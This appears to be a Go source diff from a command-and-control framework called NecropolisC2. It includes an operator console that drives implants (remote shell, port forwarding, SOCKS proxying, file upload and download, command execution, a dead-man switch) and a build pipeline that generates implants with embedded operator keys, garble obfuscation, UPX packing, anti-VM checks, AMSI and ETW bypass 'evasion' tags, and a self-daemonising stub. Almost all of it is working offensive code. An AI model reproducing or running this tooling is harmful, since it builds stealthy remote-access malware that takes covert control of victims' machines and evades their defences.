fmt.Println("no implant selected (use 'select <idx>')")
continue
}
if err := o.Pwd(selected.PeerID); err != nil {
fmt.Printf("error: %v\n", err)
} else {
fmt.Println("command sent")
}
case "shell":
if checkHelp(args) {
fmt.Println(" " + commandHelp["shell"])
continue
}
if selected == nil {
fmt.Println("no implant selected (use 'select <idx>')")
continue
}
fmt.Printf("opening shell to %s@%s...\n", selected.Name, selected.Hostname)
fmt.Println(dimYellow("=== shell started (Ctrl+] to escape) ==="))
if err := o.OpenShell(selected.PeerID); err != nil {
fmt.Printf("shell error: %v\n", err)
}
fmt.Println(dimYellow("=== shell ended ==="))
case "portfwd":
if checkHelp(args) {
fmt.Println(" " + commandHelp["portfwd"])
continue
}
if selected == nil {
fmt.Println("no implant selected (use 'select <idx>')")
continue
}
if len(args) < 2 {
fmt.Println("usage: portfwd <local-port> <target-host:target-port>")
continue
}
localPort, err := strconv.Atoi(args[0])
if err != nil {
fmt.Printf("bad port: %v\n", err)
continue
}
if err := o.Portfwd(selected.PeerID, localPort, args[1]); err != nil {
fmt.Printf("portfwd error: %v\n", err)
}
case "socks":
if len(args) == 0 || args[0] == "help" || checkHelp(args) {
fmt.Println(" socks <subcommand> [args]")
fmt.Println(" subcommands:")
fmt.Println(" start <idx|random> <port> — start SOCKS5 proxy (uses saved credentials if available)")
fmt.Println(" list — show running SOCKS5 proxies")
fmt.Println(" stop <port> — stop a running SOCKS5 proxy")
fmt.Println(" reset-creds — clear saved credentials (re-prompt on next start)")
continue
}
switch args[0] {
case "start":
if len(args) < 2 {
fmt.Println("usage: socks start <idx|random> <port>")
continue
}
idArg := args[1]
port := 1080
if len(args) > 2 {
if p, err := strconv.Atoi(args[2]); err == nil && p > 0 && p <= 65535 {
port = p
} else {
fmt.Printf("bad port: %s\n", args[2])
continue
}
}
creds, _ := LoadSocksCreds()
var username, password string
if creds != nil {
username = creds.Username
fmt.Printf("using saved credentials (user: %s)\n", username)
pass, err := line.Prompt("SOCKS password: ")
if err != nil {
continue
}
if !checkPassword(pass, creds.PasswordHash) {
fmt.Println("incorrect password")
continue
}
password = pass
} else {
u, err := line.Prompt("SOCKS username: ")
if err != nil {
continue
}
p, err := line.Prompt("SOCKS password: ")
if err != nil {
continue
}
username = u
password = p
hash, err := hashPassword(password)
if err != nil {
fmt.Printf("failed to hash password: %v\n", err)
continue
}
if err := SaveSocksCreds(&SocksCreds{Username: username, PasswordHash: hash}); err != nil {
fmt.Printf("failed to save socks creds: %v\n", err)
continue
}
}
targetID := idArg
if idArg != "random" {
peerID, rec, err := o.pickImplantPeerID(idArg)
if err != nil {
fmt.Printf("socks: %v\n", err)
continue
}
targetID = peerID
fmt.Printf("using implant %s@%s\n", rec.Name, rec.Hostname)
}
fmt.Printf("starting SOCKS5 proxy on 127.0.0.1:%d...\n", port)
if err := o.SocksStart(targetID, port, username, password); err != nil {
fmt.Printf("socks start error: %v\n", err)
}
case "list":
proxies := o.SocksList()
if len(proxies) == 0 {
fmt.Println("no SOCKS5 proxies running")
} else {
fmt.Println("SOCKS5 proxies:")
for _, p := range proxies {
uptime := time.Since(p.StartTime).Round(time.Second)
fmt.Printf(" %d: %s -> implant %s (up %s)\n", p.Port, p.Username, p.ImplantID, uptime)
}
}
case "stop":
if len(args) < 2 {
fmt.Println("usage: socks stop <port>")
continue
}
port, err := strconv.Atoi(args[1])
if err != nil || port < 1 || port > 65535 {
fmt.Printf("bad port: %s\n", args[1])
continue
}
if err := o.SocksStop(port); err != nil {
fmt.Printf("socks stop error: %v\n", err)
} else {
fmt.Printf("SOCKS5 proxy on port %d stopped\n", port)
}
case "reset-creds":
if err := ClearSocksCreds(); err != nil {
fmt.Printf("reset-creds error: %v\n", err)
} else {
fmt.Println("SOCKS credentials cleared")
}
default:
fmt.Printf("unknown socks subcommand: %s (try 'socks help')\n", args[0])
}
case "download":
if checkHelp(args) {
fmt.Println(" " + commandHelp["download"])
continue
}
if selected == nil {
fmt.Println("no implant selected (use 'select <idx>')")
continue
}
if len(args) == 0 {
fmt.Println("usage: download <path>")
continue
}
if err := o.Download(selected.PeerID, args[0]); err != nil {
fmt.Printf("error: %v\n", err)
} else {
fmt.Println("download command sent")
}
case "upload":
if checkHelp(args) {
fmt.Println(" " + commandHelp["upload"])
continue
}
if selected == nil {
fmt.Println("no implant selected (use 'select <idx>')")
continue
}
if len(args) < 2 {
fmt.Println("usage: upload <src> <dst>")
continue
}
fmt.Printf("uploading %s...\n", args[0])
if err := o.UploadFile(selected.PeerID, args[0], args[1]); err != nil {
fmt.Printf("error: %v\n", err)
} else {
fmt.Println("upload command sent")
}
case "exec", "execute":
if checkHelp(args) {
fmt.Println(" " + commandHelp["exec"])
continue
}
if selected == nil {
fmt.Println("no implant selected (use 'select <idx>')")
continue
}
if len(args) == 0 {
fmt.Println("usage: exec <cmd> [args...]")
continue
}
if err := o.Execute(selected.PeerID, args[0], args[1:]); err != nil {
fmt.Printf("error: %v\n", err)
} else {
fmt.Println("command sent")
}
case "deadman":
if checkHelp(args) {
fmt.Println(" " + commandHelp["deadman"])
continue
}
if selected == nil {
fmt.Println("no implant selected (use 'select <idx>')")
continue
}
if len(args) < 2 {
fmt.Println("usage: deadman <timeout_seconds> <command>")
continue
}
timeout, err := strconv.Atoi(args[0])
if err != nil {
fmt.Println("timeout must be a number")
continue
}
cmd := strings.Join(args[1:], " ")
if err := o.DeadMan(selected.PeerID, cmd, timeout); err != nil {
fmt.Printf("error: %v\n", err)
} else {
fmt.Printf("dead man switch set: %s in %ds\n", cmd, timeout)
}
case "kill":
if checkHelp(args) {
fmt.Println(" " + commandHelp["kill"])
continue
}
if selected == nil {
fmt.Println("no implant selected (use 'select <idx>')")
continue
}
fmt.Printf(redText("kill %s@%s? [y/N] "), selected.Name, selected.Hostname)
ans, _ := line.Prompt("")
if ans != "y" && ans != "Y" && ans != "yes" {
fmt.Println("cancelled")
continue
}
if err := o.Kill(selected.PeerID); err != nil {
fmt.Printf("error: %v\n", err)
} else {
fmt.Println("kill command sent")
}
case "generate":
if checkHelp(args) {
fmt.Println(" " + commandHelp["generate"])
continue
}
if err := RunGenerate(args); err != nil {
fmt.Printf("generate error: %v\n", err)
}
case "regenerate":
fmt.Println("WARNING: regenerating operator keys will invalidate ALL existing implants.")
fmt.Println("Old implants have your current public key embedded and will NOT be able to call back.")
ans, err := line.Prompt("Are you sure? [y/N] ")
if err != nil || (ans != "y" && ans != "Y" && ans != "yes") {
fmt.Println("cancelled")
continue
}
keyPath := keyPath()
pubPath := pubKeyPath()
os.Remove(keyPath)
os.Remove(pubPath)
log.Printf("deleted %s and %s", keyPath, pubPath)
log.Printf("regenerated keys will take effect on next startup")
fmt.Println("Restart necropolis for the new keys to take effect.")
default:
fmt.Printf("unknown command: %s (try 'help')\n", cmd)
}
}
}
// saveHistory persists the console command history to disk.
func saveHistory(path string, line *liner.State) {
if f, err := os.Create(path); err == nil {
line.WriteHistory(f)
f.Close()
}
}
// shortenStr truncates a string to max characters with ellipsis.
func shortenStr(s string, max int) string {
if len(s) <= max {
return s
}
return s[:max] + "..."
}
+38
View File
@@ -0,0 +1,38 @@
package core
import "fmt"
// ANSI escape codes — works on Windows Terminal, WSL, macOS, Linux
const (
reset = "\033[0m"
bold = "\033[1m"
dim = "\033[2m"
red = "\033[31m"
green = "\033[32m"
yellow = "\033[33m"
blue = "\033[34m"
magenta = "\033[35m"
cyan = "\033[36m"
darkRed = "\033[31m"
)
func colorize(color, text string) string {
return color + text + reset
}
func boldRed(s string) string { return bold + red + s + reset }
func boldGreen(s string) string { return bold + green + s + reset }
func boldBlue(s string) string { return bold + blue + s + reset }
func boldCyan(s string) string { return bold + cyan + s + reset }
func dimYellow(s string) string { return dim + yellow + s + reset }
func redText(s string) string { return red + s + reset }
func greenText(s string) string { return green + s + reset }
func cyanText(s string) string { return cyan + s + reset }
func darkRedText(s string) string { return dim + darkRed + s + reset }
func magentaBold(s string) string { return bold + magenta + s + reset }
func colorf(color, format string, args ...interface{}) string {
return color + fmt.Sprintf(format, args...) + reset
}
+6
View File
@@ -0,0 +1,6 @@
package embedsrc
import _ "embed"
//go:embed implant_src.tar.gz
var ImplantSourceArchive []byte
+419
View File
@@ -0,0 +1,419 @@
// Implant build pipeline. Generates fresh implant keys, embeds operator credentials,
// cross-compiles via Go or garble, and optionally compresses with UPX.
package core
import (
"archive/tar"
"bytes"
"compress/gzip"
"crypto/rand"
"flag"
"fmt"
"io"
"log"
"os"
"os/exec"
"path/filepath"
"strings"
"github.com/libp2p/go-libp2p/core/crypto"
"github.com/libp2p/go-libp2p/core/peer"
"github.com/Yenn503/NecropolisC2/server/core/embedsrc"
)
// GenerateConfig holds the CLI flags controlling the implant build: target OS/arch,
// obfuscation, compression, quiet mode, anti-VM tags, and evasion DLL embedding.
type GenerateConfig struct {
PubKeyPath string
OutputPath string
TargetOS string
TargetArch string
UseUPX bool
Obfuscate bool
Quiet bool
Antivm bool
Evasion bool
}
// RunGenerate parses CLI flags from args and triggers the full implant build pipeline.
func RunGenerate(args []string) error {
cfg := GenerateConfig{
PubKeyPath: defaultPubKeyPath(),
OutputPath: "necropolis-implant",
TargetOS: "linux",
TargetArch: "amd64",
}
fs := flag.NewFlagSet("generate", flag.ExitOnError)
fs.StringVar(&cfg.PubKeyPath, "pubkey", cfg.PubKeyPath, "path to operator public key")
fs.StringVar(&cfg.OutputPath, "output", cfg.OutputPath, "output path for the implant binary")
fs.StringVar(&cfg.TargetOS, "os", cfg.TargetOS, "target OS (linux, darwin, windows)")
fs.StringVar(&cfg.TargetArch, "arch", cfg.TargetArch, "target architecture (amd64, arm64)")
fs.BoolVar(&cfg.UseUPX, "upx", false, "compress with UPX (off by default — UPX+Go = YARA signature)")
fs.BoolVar(&cfg.Obfuscate, "obfuscate", false, "obfuscate the implant with garble (auto-installs if missing)")
fs.BoolVar(&cfg.Quiet, "quiet", false, "suppress output and run in background (no console on Windows)")
fs.BoolVar(&cfg.Antivm, "antivm", false, "enable VM detection (pure Go, no CGO required — 65+ techniques, VMAware-compatible scoring)")
fs.BoolVar(&cfg.Evasion, "evasion", false, "enable kernel evasion (ETW patch, AMSI bypass, indirect syscalls)")
fs.Parse(args)
return BuildImplant(cfg)
}
// BuildImplant reads the operator's public key and box key, generates a fresh implant
// Ed25519 key, prepares a build directory with embedded credentials, cross-compiles
// (optionally through garble), optionally strips symbols and compresses with UPX.
func BuildImplant(cfg GenerateConfig) error {
pubData, err := os.ReadFile(cfg.PubKeyPath)
if err != nil {
return fmt.Errorf("read pubkey %s: %w", cfg.PubKeyPath, err)
}
necropolisDir := filepath.Dir(cfg.PubKeyPath)
boxPubData, _ := os.ReadFile(filepath.Join(necropolisDir, "operator.boxpub"))
if len(boxPubData) != 32 {
return fmt.Errorf("read box pubkey (operator.boxpub): operator must run once to generate box keypair")
}
authTokenData, err := os.ReadFile(filepath.Join(necropolisDir, "operator.authtoken"))
if err != nil || len(authTokenData) != 32 {
return fmt.Errorf("read auth token (operator.authtoken): operator must run once to generate auth token")
}
log.Printf("[+] generating implant keypair...")
implantPriv, implantPub, err := crypto.GenerateEd25519Key(rand.Reader)
if err != nil {
return fmt.Errorf("generate implant key: %w", err)
}
privBytes, err := crypto.MarshalPrivateKey(implantPriv)
if err != nil {
return fmt.Errorf("marshal implant private key: %w", err)
}
implantPeerID, _ := peer.IDFromPublicKey(implantPub)
log.Printf("[*] PeerID: %s", implantPeerID.String())
log.Printf("[+] embedding credentials...")
buildDir, err := prepareBuildDir(pubData, boxPubData, privBytes, authTokenData, cfg.Quiet)
if err != nil {
return fmt.Errorf("prepare build directory: %w", err)
}
defer os.RemoveAll(buildDir)
outPath := cfg.OutputPath
if !filepath.IsAbs(outPath) {
wd, _ := os.Getwd()
outPath = filepath.Join(wd, outPath)
}
if cfg.TargetOS == "windows" && !strings.HasSuffix(outPath, ".exe") {
outPath += ".exe"
}
_, err = ensureGo()
if err != nil {
return fmt.Errorf("go not available: %w", err)
}
goBin := findGo()
ldflags := "-s -w -buildid="
if cfg.Quiet && cfg.TargetOS == "windows" {
ldflags += " -H=windowsgui"
}
var builder string
var buildArgs []string
buildPath := os.Getenv("PATH")
if cfg.Obfuscate {
garble, err := ensureGarble(goBin)
if err != nil {
return fmt.Errorf("garble not available: %w", err)
}
if _, err := exec.LookPath("git"); err != nil {
log.Print("git not found. Attempting to install...")
gitBin, err := installGit()
if err != nil {
return fmt.Errorf("garble requires git to patch the Go linker, install git manually or set up PATH: %w", err)
}
gitDir := filepath.Dir(gitBin)
if !strings.Contains(buildPath, gitDir) {
buildPath = gitDir + string(os.PathListSeparator) + buildPath
}
}
builder = garble
buildArgs = []string{"-literals", "-tiny", "build", "-trimpath", "-buildvcs=false", "-o", outPath, "-ldflags=" + ldflags}
// build from project root so GOGARBLE scopes to our packages.
// Temp dir breaks import path resolution needed for obfuscation filtering.
wd, _ := os.Getwd()
restore := backupStubs(filepath.Join("implant", "core"))
defer restore()
writeEmbeddedCreds(filepath.Join("implant", "core"), pubData, boxPubData, privBytes, authTokenData)
buildDir = wd
log.Printf("[+] obfuscation: garble -literals -tiny")
} else {
builder = goBin
buildArgs = []string{"build", "-trimpath", "-buildvcs=false", "-o", outPath, "-ldflags=" + ldflags}
}
if cfg.Antivm {
buildArgs = append(buildArgs, "-tags=antivm")
}
if cfg.Evasion {
buildArgs = append(buildArgs, "-tags=evasion")
log.Printf("[+] Ninja: FreshyCalls + HAL's Gate, indirect syscalls, module stomping, AMSI HWBP, ETW 3-tier, CFG-aware callback removal, sleep obfuscation, yk the vibes.")
log.Printf("[+] embedding my lillll ahh valak.dll ;)")
}
buildArgs = append(buildArgs, "./implant/")
cmd := exec.Command(builder, buildArgs...)
goDir := filepath.Dir(goBin)
if !strings.Contains(buildPath, goDir) {
buildPath = goDir + string(os.PathListSeparator) + buildPath
}
env := []string{
"GOOS=" + cfg.TargetOS,
"GOARCH=" + cfg.TargetArch,
"CGO_ENABLED=0",
"PATH=" + buildPath,
"GOGARBLE=github.com/Yenn503/NecropolisC2/*",
}
cmd.Env = append(os.Environ(), env...)
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
cmd.Dir = buildDir
log.Printf("[*] compiling %s/%s...", cfg.TargetOS, cfg.TargetArch)
if err := cmd.Run(); err != nil {
return fmt.Errorf("build: %w", err)
}
if fi, err := os.Stat(outPath); err == nil {
log.Printf("[+] %s (%d bytes)", outPath, fi.Size())
}
// strip for Linux/macOS to remove any remaining symbol tables
if cfg.TargetOS == "linux" || cfg.TargetOS == "darwin" {
stripCmd := exec.Command("strip", "-s", outPath)
_ = stripCmd.Run()
}
if cfg.UseUPX {
if upxPath, err := exec.LookPath("upx"); err == nil {
log.Printf("applying UPX compression...")
upx := exec.Command(upxPath, "--lzma", "--compress-exports=0", outPath)
upx.Stdout = os.Stdout
upx.Stderr = os.Stderr
if err := upx.Run(); err != nil {
log.Printf("upx compression skipped: %v", err)
}
} else {
log.Printf("upx not found, skipping compression")
}
}
return nil
}
// prepareBuildDir creates a temp directory with the implant source, embedded operator
// credentials (pubkey, box pubkey, implant privkey, auth token), and optional quiet stub.
func prepareBuildDir(pubKeyData, boxPubKeyData, privKeyData, authTokenData []byte, quiet bool) (string, error) {
dir, err := os.MkdirTemp("", "necropolis-build-*")
if err != nil {
return "", fmt.Errorf("create temp dir: %w", err)
}
pubLiteral := bytesLiteral(pubKeyData)
boxPubLiteral := bytesLiteral(boxPubKeyData)
privLiteral := bytesLiteral(privKeyData)
authLiteral := bytesLiteral(authTokenData)
pubContent := fmt.Sprintf(`// Code generated by necropolis generate. DO NOT EDIT.
package core
var embeddedOperatorPubKey = %s
`, pubLiteral)
boxPubContent := fmt.Sprintf(`// Code generated by necropolis generate. DO NOT EDIT.
package core
var embeddedOperatorBoxPubKey = %s
`, boxPubLiteral)
keyContent := fmt.Sprintf(`// Code generated by necropolis generate. DO NOT EDIT.
package core
var embeddedImplantPrivKey = %s
`, privLiteral)
authContent := fmt.Sprintf(`// Code generated by necropolis generate. DO NOT EDIT.
package core
var embeddedAuthToken = %s
`, authLiteral)
if err := extractEmbeddedSource(dir); err != nil {
return "", err
}
// Rename go.mod.txt/go.sum.txt back to real names
os.Rename(filepath.Join(dir, "go.mod.txt"), filepath.Join(dir, "go.mod"))
os.Rename(filepath.Join(dir, "go.sum.txt"), filepath.Join(dir, "go.sum"))
coreDir := filepath.Join(dir, "implant", "core")
if err := os.WriteFile(filepath.Join(coreDir, "embedded_pubkey.go"), []byte(pubContent), 0644); err != nil {
return "", fmt.Errorf("write embedded_pubkey.go: %w", err)
}
if err := os.WriteFile(filepath.Join(coreDir, "embedded_boxpubkey.go"), []byte(boxPubContent), 0644); err != nil {
return "", fmt.Errorf("write embedded_boxpubkey.go: %w", err)
}
if err := os.WriteFile(filepath.Join(coreDir, "embedded_implant_key.go"), []byte(keyContent), 0644); err != nil {
return "", fmt.Errorf("write embedded_implant_key.go: %w", err)
}
if err := os.WriteFile(filepath.Join(coreDir, "embedded_authtoken.go"), []byte(authContent), 0644); err != nil {
return "", fmt.Errorf("write embedded_authtoken.go: %w", err)
}
if quiet {
if err := writeQuietStub(coreDir); err != nil {
return "", fmt.Errorf("write quiet stub: %w", err)
}
}
return dir, nil
}
// writeQuietStub generates a Go init() that detaches from the terminal and daemonizes
// the process (non-Windows only).
func writeQuietStub(coreDir string) error {
quietContent := `//go:build !windows
package core
import (
"os"
"syscall"
)
func init() {
if os.Getenv("_NECROPOLIS_DAEMON") == "1" {
return
}
f, err := os.OpenFile("/dev/null", os.O_RDWR, 0)
if err != nil {
os.Exit(1)
}
attr := &os.ProcAttr{
Files: []*os.File{f, f, f},
Env: append(os.Environ(), "_NECROPOLIS_DAEMON=1"),
Sys: &syscall.SysProcAttr{Setsid: true},
}
proc, err := os.StartProcess(os.Args[0], os.Args, attr)
if err != nil {
os.Exit(1)
}
proc.Release()
os.Exit(0)
}
`
return os.WriteFile(filepath.Join(coreDir, "quiet.go"), []byte(quietContent), 0644)
}
// extractEmbeddedSource unpacks the gzipped tar archive of implant source into dst.
func extractEmbeddedSource(dst string) error {
gz, err := gzip.NewReader(bytes.NewReader(embedsrc.ImplantSourceArchive))
if err != nil {
return fmt.Errorf("gzip reader: %w", err)
}
defer gz.Close()
tr := tar.NewReader(gz)
for {
hdr, err := tr.Next()
if err == io.EOF {
break
}
if err != nil {
return fmt.Errorf("tar next: %w", err)
}
target := filepath.Join(dst, hdr.Name)
switch hdr.Typeflag {
case tar.TypeDir:
if err := os.MkdirAll(target, 0755); err != nil {
return err
}
case tar.TypeReg:
if err := os.MkdirAll(filepath.Dir(target), 0755); err != nil {
return err
}
f, err := os.OpenFile(target, os.O_CREATE|os.O_RDWR, os.FileMode(hdr.Mode))
if err != nil {
return err
}
if _, err := io.Copy(f, tr); err != nil {
f.Close()
return err
}
f.Close()
}
}
return nil
}
// defaultPubKeyPath returns ~/.necropolis/operator.pub.
func defaultPubKeyPath() string {
home, err := os.UserHomeDir()
if err != nil {
return "operator.pub"
}
return filepath.Join(home, ".necropolis", "operator.pub")
}
// ensureGarble checks for the garble obfuscator; if missing, installs it via go install
// and searches GOPATH/bin as a fallback.
func ensureGarble(goBin string) (string, error) {
if p, err := exec.LookPath("garble"); err == nil {
return p, nil
}
log.Print("garble not found. Installing via 'go install mvdan.cc/garble@v0.12.1'...")
cmd := exec.Command(goBin, "install", "mvdan.cc/garble@v0.12.1")
cmd.Env = append(os.Environ(), "PATH="+filepath.Dir(goBin)+string(os.PathListSeparator)+os.Getenv("PATH"))
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if err := cmd.Run(); err != nil {
return "", fmt.Errorf("install garble: %w", err)
}
if p, err := exec.LookPath("garble"); err == nil {
return p, nil
}
// go install puts binaries in GOPATH/bin — check each entry
gopathOut, _ := exec.Command(goBin, "env", "GOPATH").Output()
gopath := strings.TrimSpace(string(gopathOut))
if gopath != "" {
for _, p := range filepath.SplitList(gopath) {
for _, name := range []string{"garble", "garble.exe"} {
candidate := filepath.Join(p, "bin", name)
if fileExists(candidate) {
log.Print("garble installed")
return candidate, nil
}
}
}
}
return "", fmt.Errorf("garble installed but not found in PATH or GOPATH/bin")
}
// fileExists returns true if the path exists on disk.
func fileExists(path string) bool {
_, err := os.Stat(path)
return err == nil
}
// bytesLiteral formats a byte slice as a Go source literal like "[]byte{1,2,3}".
func bytesLiteral(data []byte) string {
var parts []string
for _, b := range data {
parts = append(parts, fmt.Sprintf("%d", b))
}
return "[]byte{" + strings.Join(parts, ",") + "}"
}
+71
View File
@@ -0,0 +1,71 @@
package core
import (
"fmt"
"os"
"path/filepath"
)
// embedStubs maps embedded stub filenames to their empty content.
var embedStubs = map[string]string{
"embedded_pubkey.go": `// Code generated by necropolis generate. DO NOT EDIT.
package core
var embeddedOperatorPubKey = []byte{}
`,
"embedded_implant_key.go": `// Code generated by necropolis generate. DO NOT EDIT.
package core
var embeddedImplantPrivKey = []byte{}
`,
"embedded_boxpubkey.go": `// Code generated by necropolis generate. DO NOT EDIT.
package core
var embeddedOperatorBoxPubKey = []byte{}
`,
"embedded_authtoken.go": `// Code generated by necropolis generate. DO NOT EDIT.
package core
var embeddedAuthToken = []byte{}
`,
}
// backupStubs saves the current embedded stub files in the given coreDir
// and overwrites them with empty content so the temp-dir build can proceed.
// Returns a restore function.
func backupStubs(coreDir string) func() {
backups := make(map[string][]byte)
for name := range embedStubs {
path := filepath.Join(coreDir, name)
if data, err := os.ReadFile(path); err == nil {
backups[name] = data
}
}
return func() {
for name, data := range backups {
os.WriteFile(filepath.Join(coreDir, name), data, 0644)
}
}
}
// writeEmbeddedCreds writes the real operator credentials into the embedded
// stub files in the implant source tree, replacing the empty stubs.
func writeEmbeddedCreds(coreDir string, pub, box, priv, auth []byte) {
pubLiteral := bytesLiteral(pub)
boxLiteral := bytesLiteral(box)
privLiteral := bytesLiteral(priv)
authLiteral := bytesLiteral(auth)
os.WriteFile(filepath.Join(coreDir, "embedded_pubkey.go"), []byte(fmt.Sprintf(
"// Code generated by necropolis generate. DO NOT EDIT.\npackage core\n\nvar embeddedOperatorPubKey = %s\n",
pubLiteral)), 0644)
os.WriteFile(filepath.Join(coreDir, "embedded_boxpubkey.go"), []byte(fmt.Sprintf(
"// Code generated by necropolis generate. DO NOT EDIT.\npackage core\n\nvar embeddedOperatorBoxPubKey = %s\n",
boxLiteral)), 0644)
os.WriteFile(filepath.Join(coreDir, "embedded_implant_key.go"), []byte(fmt.Sprintf(
"// Code generated by necropolis generate. DO NOT EDIT.\npackage core\n\nvar embeddedImplantPrivKey = %s\n",
privLiteral)), 0644)
os.WriteFile(filepath.Join(coreDir, "embedded_authtoken.go"), []byte(fmt.Sprintf(
"// Code generated by necropolis generate. DO NOT EDIT.\npackage core\n\nvar embeddedAuthToken = %s\n",
authLiteral)), 0644)
}
+399
View File
@@ -0,0 +1,399 @@
package core
import (
"archive/zip"
"context"
"crypto/sha256"
"encoding/hex"
"encoding/json"
"fmt"
"io"
"io/fs"
"log"
"net/http"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"time"
)
func findGo() string {
if p, err := exec.LookPath("go"); err == nil {
return p
}
if goroot := os.Getenv("GOROOT"); goroot != "" {
candidate := filepath.Join(goroot, "bin", "go")
if fileExists(candidate) {
return candidate
}
}
goexe := "go"
if runtime.GOOS == "windows" {
goexe = "go.exe"
}
for _, p := range []string{
"/usr/local/go/bin/go",
filepath.Join(os.Getenv("HOME"), ".local", "go", "bin", goexe),
"/tmp/go/bin/" + goexe,
"/usr/lib/go/bin/go",
`C:\Go\bin\go.exe`,
filepath.Join(os.Getenv("ProgramFiles"), "Go", "bin", "go.exe"),
filepath.Join(os.Getenv("LocalAppData"), "go", "bin", goexe),
filepath.Join(os.Getenv("HOME"), "sdk", "go", "bin", goexe),
filepath.Join(os.TempDir(), "go", "bin", goexe),
} {
if fileExists(p) {
return p
}
}
return goexe
}
type goFile struct {
Filename string `json:"filename"`
OS string `json:"os"`
Arch string `json:"arch"`
SHA256 string `json:"sha256"`
}
type goVersion struct {
Version string `json:"version"`
Stable bool `json:"stable"`
Files []goFile `json:"files"`
}
func ensureGo() (string, error) {
if p, err := exec.LookPath("go"); err == nil {
return p, nil
}
if goroot := os.Getenv("GOROOT"); goroot != "" {
candidate := filepath.Join(goroot, "bin", "go")
if fileExists(candidate) {
return candidate, nil
}
}
if p := findGo(); fileExists(p) {
return p, nil
}
log.Printf("[*] Go not found, installing...")
osName := runtime.GOOS
archName := runtime.GOARCH
switch archName {
case "x86_64":
archName = "amd64"
case "aarch64":
archName = "arm64"
}
ext := ".tar.gz"
if osName == "windows" {
ext = ".zip"
}
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
defer cancel()
req, err := http.NewRequestWithContext(ctx, "GET", "https://go.dev/VERSION?m=text", nil)
if err != nil {
return "", fmt.Errorf("create version request: %w", err)
}
resp, err := http.DefaultClient.Do(req)
if err != nil {
return "", fmt.Errorf("check go version: %w", err)
}
defer resp.Body.Close()
versionBytes, err := io.ReadAll(resp.Body)
if err != nil {
return "", fmt.Errorf("read go version: %w", err)
}
version := strings.TrimSpace(strings.Split(string(versionBytes), "\n")[0])
filename := fmt.Sprintf("%s.%s-%s%s", version, osName, archName, ext)
url := fmt.Sprintf("https://go.dev/dl/%s", filename)
// Fetch checksums from go.dev JSON API
checksums, err := fetchGoChecksums()
if err != nil {
return "", fmt.Errorf("fetch go checksums: %w", err)
}
expectedHash, ok := checksums[filename]
if !ok {
return "", fmt.Errorf("no checksum found for %s", filename)
}
log.Printf("[*] downloading %s ...", url)
tarball, err := os.CreateTemp("", "go-*"+ext)
if err != nil {
return "", fmt.Errorf("create temp file: %w", err)
}
defer os.Remove(tarball.Name())
dlCtx, dlCancel := context.WithTimeout(context.Background(), 120*time.Second)
defer dlCancel()
dlReq, err := http.NewRequestWithContext(dlCtx, "GET", url, nil)
if err != nil {
return "", fmt.Errorf("create download request: %w", err)
}
dlResp, err := http.DefaultClient.Do(dlReq)
if err != nil {
return "", fmt.Errorf("download go: %w", err)
}
defer dlResp.Body.Close()
hash := sha256.New()
if _, err := io.Copy(io.MultiWriter(tarball, hash), dlResp.Body); err != nil {
return "", fmt.Errorf("write go archive: %w", err)
}
tarball.Close()
got := hex.EncodeToString(hash.Sum(nil))
if got != expectedHash {
return "", fmt.Errorf("checksum mismatch for %s:\n expected: %s\n got: %s", filename, expectedHash, got)
}
log.Printf("[*] SHA256 verified: %s", expectedHash)
installDir := installGo(tarball.Name(), osName)
log.Printf("[+] Go %s installed at %s", version, installDir)
return filepath.Join(installDir, "bin", "go"), nil
}
func fetchGoChecksums() (map[string]string, error) {
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
defer cancel()
req, err := http.NewRequestWithContext(ctx, "GET", "https://go.dev/dl/?mode=json&include=all", nil)
if err != nil {
return nil, fmt.Errorf("create metadata request: %w", err)
}
resp, err := http.DefaultClient.Do(req)
if err != nil {
return nil, fmt.Errorf("get go metadata: %w", err)
}
defer resp.Body.Close()
var versions []goVersion
if err := json.NewDecoder(resp.Body).Decode(&versions); err != nil {
return nil, fmt.Errorf("decode go metadata: %w", err)
}
checksums := make(map[string]string)
for _, v := range versions {
for _, f := range v.Files {
checksums[f.Filename] = f.SHA256
}
}
return checksums, nil
}
func installGo(archive, osName string) string {
homeDir, _ := os.UserHomeDir()
candidates := []string{
"/usr/local/go",
filepath.Join(homeDir, ".local", "go"),
"/tmp/go",
}
if osName == "windows" {
progFiles := os.Getenv("ProgramFiles")
if progFiles == "" {
progFiles = `C:\Program Files`
}
candidates = []string{
filepath.Join(progFiles, "Go"),
filepath.Join(homeDir, "sdk", "go"),
filepath.Join(os.TempDir(), "go"),
}
}
for _, dst := range candidates {
parent := filepath.Dir(dst)
os.RemoveAll(dst)
os.MkdirAll(parent, 0755)
if extractGoArchive(archive, parent, osName) == nil {
if _, err := os.Stat(dst); err == nil {
log.Printf("[*] Go extracted to %s", dst)
return dst
}
}
}
// Last resort: always try the root of the temp dir
tmpRoot := "/tmp"
if osName == "windows" {
tmpRoot = os.TempDir()
}
os.RemoveAll(filepath.Join(tmpRoot, "go"))
extractGoArchive(archive, tmpRoot, osName)
return filepath.Join(tmpRoot, "go")
}
func extractGoArchive(archive, dst, osName string) error {
if osName == "windows" {
return extractZip(archive, dst)
}
return exec.Command("tar", "-C", dst, "-xzf", archive).Run()
}
func extractZip(src, dst string) error {
r, err := zip.OpenReader(src)
if err != nil {
return fmt.Errorf("open zip: %w", err)
}
defer r.Close()
for _, f := range r.File {
target := filepath.Join(dst, f.Name)
// ZipSlip protection
if !strings.HasPrefix(filepath.Clean(target), filepath.Clean(dst)+string(os.PathSeparator)) {
continue
}
if f.FileInfo().IsDir() {
os.MkdirAll(target, 0755)
continue
}
os.MkdirAll(filepath.Dir(target), 0755)
rc, err := f.Open()
if err != nil {
return fmt.Errorf("open %s in zip: %w", f.Name, err)
}
out, err := os.OpenFile(target, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, f.Mode())
if err != nil {
rc.Close()
return fmt.Errorf("create %s: %w", target, err)
}
_, err = io.Copy(out, rc)
rc.Close()
out.Close()
if err != nil {
return fmt.Errorf("extract %s: %w", f.Name, err)
}
}
return nil
}
func findGit(dir string) string {
gitExe := "git"
if runtime.GOOS == "windows" {
gitExe = "git.exe"
}
var found string
filepath.WalkDir(dir, func(path string, d fs.DirEntry, err error) error {
if err != nil {
return nil
}
if !d.IsDir() && strings.EqualFold(d.Name(), gitExe) {
found = path
return io.EOF
}
return nil
})
return found
}
// auto-installs MinGit on Windows, tries system package manager on Linux/macOS.
// Self-contained implant generation is the feature — defer per-platform packaging.
